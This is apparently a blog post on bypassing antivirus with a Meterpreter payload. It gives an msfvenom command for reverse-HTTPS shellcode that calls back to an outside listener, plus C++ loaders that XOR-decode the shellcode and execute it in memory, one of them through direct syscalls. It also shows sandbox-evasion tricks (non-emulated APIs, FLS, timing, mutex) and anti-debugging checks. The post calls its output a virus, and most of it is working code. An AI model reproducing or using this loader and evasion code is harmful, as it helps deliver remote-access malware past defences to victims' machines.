These days I have been trying to collect the latest (and older) techniques that are available in the Internet for AV bypass. I will not cover the shellcoding, which in my opinion is the best way to bypass an AV, since meterpreter is detected by almost AV even you have it encrypted or encoded.
Obviously these techniques that are using the shellcode "meterpreter" once they are in memory, if the AV is checking the memory in real time, it will be detected although it is not detected in disk.
The shellcode will be very basic and very detectable by mostly AV:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.100 LPORT=443 -f c
At this moment the shellcode will be detected as soon as we compile our C/C++/C# prof and have the PE binary in disk. In this example I will use C++ language.
Code skeleton will be the following:
#include <windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[]) {
char encryptedPayload[] = "";
char key[] = "AABBB";
char payload[sizeof encryptedPayload];
// XOR decoding
int j = 0;
for (int i = 0; i < sizeof encryptedPayload; i++) {
if (j == sizeof key - 1) j = 0;
payload[i] = encryptedPayload[i] ^ key[j];
j++;
}
void *foobar = VirtualAlloc(0, sizeof payload, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(foobar, payload, sizeof payload);
((void(*)())foobar)();
}
Like nobody wants that shellcode to be detected even in our machine when is compiled, we will encode our shellcode using a xor function. In this case we can encrypt using AES or another cipher, obviously later we have to decrypt it in our program.To encode the shellcode we will use this script https://github.com/Sinkmanu/UsefulCodeSnippets/blob/main/Crypto/payload-xor-encoder.py
python3 payload-xor-encoder.py BBBBB
At this point, it is possible to add the shellcode and when the program be compiled will not be detected and deleted by the AV. Obviously, when the virus is executed It will be detected by the AV after apply the xor decoding.The following steps are considering the most important and the purpose of this post, the techniques to bypass AV that I have found, are easily in Internet; needless to mention that the best ways are not published because It could be do the easy work to AV companies.
There are some of heuristic detection bypass:
Bypass the "Non emulated API"
The following source code will fail in most of AV, it is because if the AV finds a non-emulated API, its execution will fail.
LPVOID mem = NULL;
mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if (mem == NULL)
{
return 0;
}
Bypass using "FLS"
From Windows docs "Allocates a fiber local storage (FLS) index. Any fiber in the process can subsequently use this index to store and retrieve values that are local to the fiber."
DWORD result = FlsAlloc(NULL);
if (result == FLS_OUT_OF_INDEXES)
{
return 0;
}
Bypass with direct syscalls (syswhispers)
With SysWhispers [1] is easy to perform the syscalls directly, It is probably that if you are using the latest Windows version, you will need to add the syscalls directly in the syscall.asm file. These syscalls and Windows versions can be found in https://hfiref0x.github.io/syscalls.html
#include <windows.h>
#include "syscalls.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[]) {
char encryptedPayload[] = "";
char key[] = "AABBB";
unsigned char payload[sizeof encryptedPayload];
// XOR decoding
int j = 0;
for (int i = 0; i < sizeof encryptedPayload; i++) {
if (j == sizeof key - 1) j = 0;
payload[i] = encryptedPayload[i] ^ key[j];
j++;
}
HANDLE hProc = GetCurrentProcess();
LPVOID ptr = nullptr;
HANDLE thandle = NULL;
SIZE_T allocation_size = sizeof(payload);
DWORD oldprotect = 0;
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(ptr, payload, sizeof payload);
NtProtectVirtualMemory(hProc, &ptr, (PSIZE_T)&allocation_size, PAGE_EXECUTE_READ, &oldprotect);
NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, ptr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, -1);
free(ptr);
return 0;
}
Timing attack
Some AVs wait a time and if it is not executed, the AV stop the program.
#include <timeapi.h>
#pragma comment (lib, "winmm.lib")
...
DWORD time1;
time1 = timeGetTime();
Sleep(2000);
if ((time1 < 1.5))
{
return 0;
}
Mutex triggered
Some AVs uses mutex, so, if you set a fake mutex and it returns the error ERROR_ALREADY_EXISTS is because some program (like the AV) as set a mutex.
HANDLE mutex = CreateMutexA(NULL, TRUE, "fakeMutex");
if (GetLastError() == ERROR_ALREADY_EXISTS) {
return 0;
}
Anti-debugging
As the name suggest, there is techniques to stop the execution if a debugger is detected. Exists more ways [3].
#include <debugapi.h>
...
if (IsDebuggerPresent()) {
return 0;
}
BOOL bDebuggerPresent;
if (TRUE == CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) &&
TRUE == bDebuggerPresent) {
return 0;
}
In summary, concatenate techniques is the best option focusing in the AV you want to bypass. Sometimes concatenate a lot of bypasses can be successful if you do not know against which AV are you running the virus.
Result with the techniques commented in this post:
In addition, in this malicious file developing it has been used C++ language, but sometimes if you use different languages, like how it could be Python and use the malware as compiled bytecode It could bypass almost all AVs.
Finally, It is quite clear that this post is for researching and learning purposes and without malicious purposes.
References:
[1] https://github.com/jthuraisamy/SysWhispers
[2] https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa
[3] https://anti-debug.checkpoint.com/techniques/debug-flags.html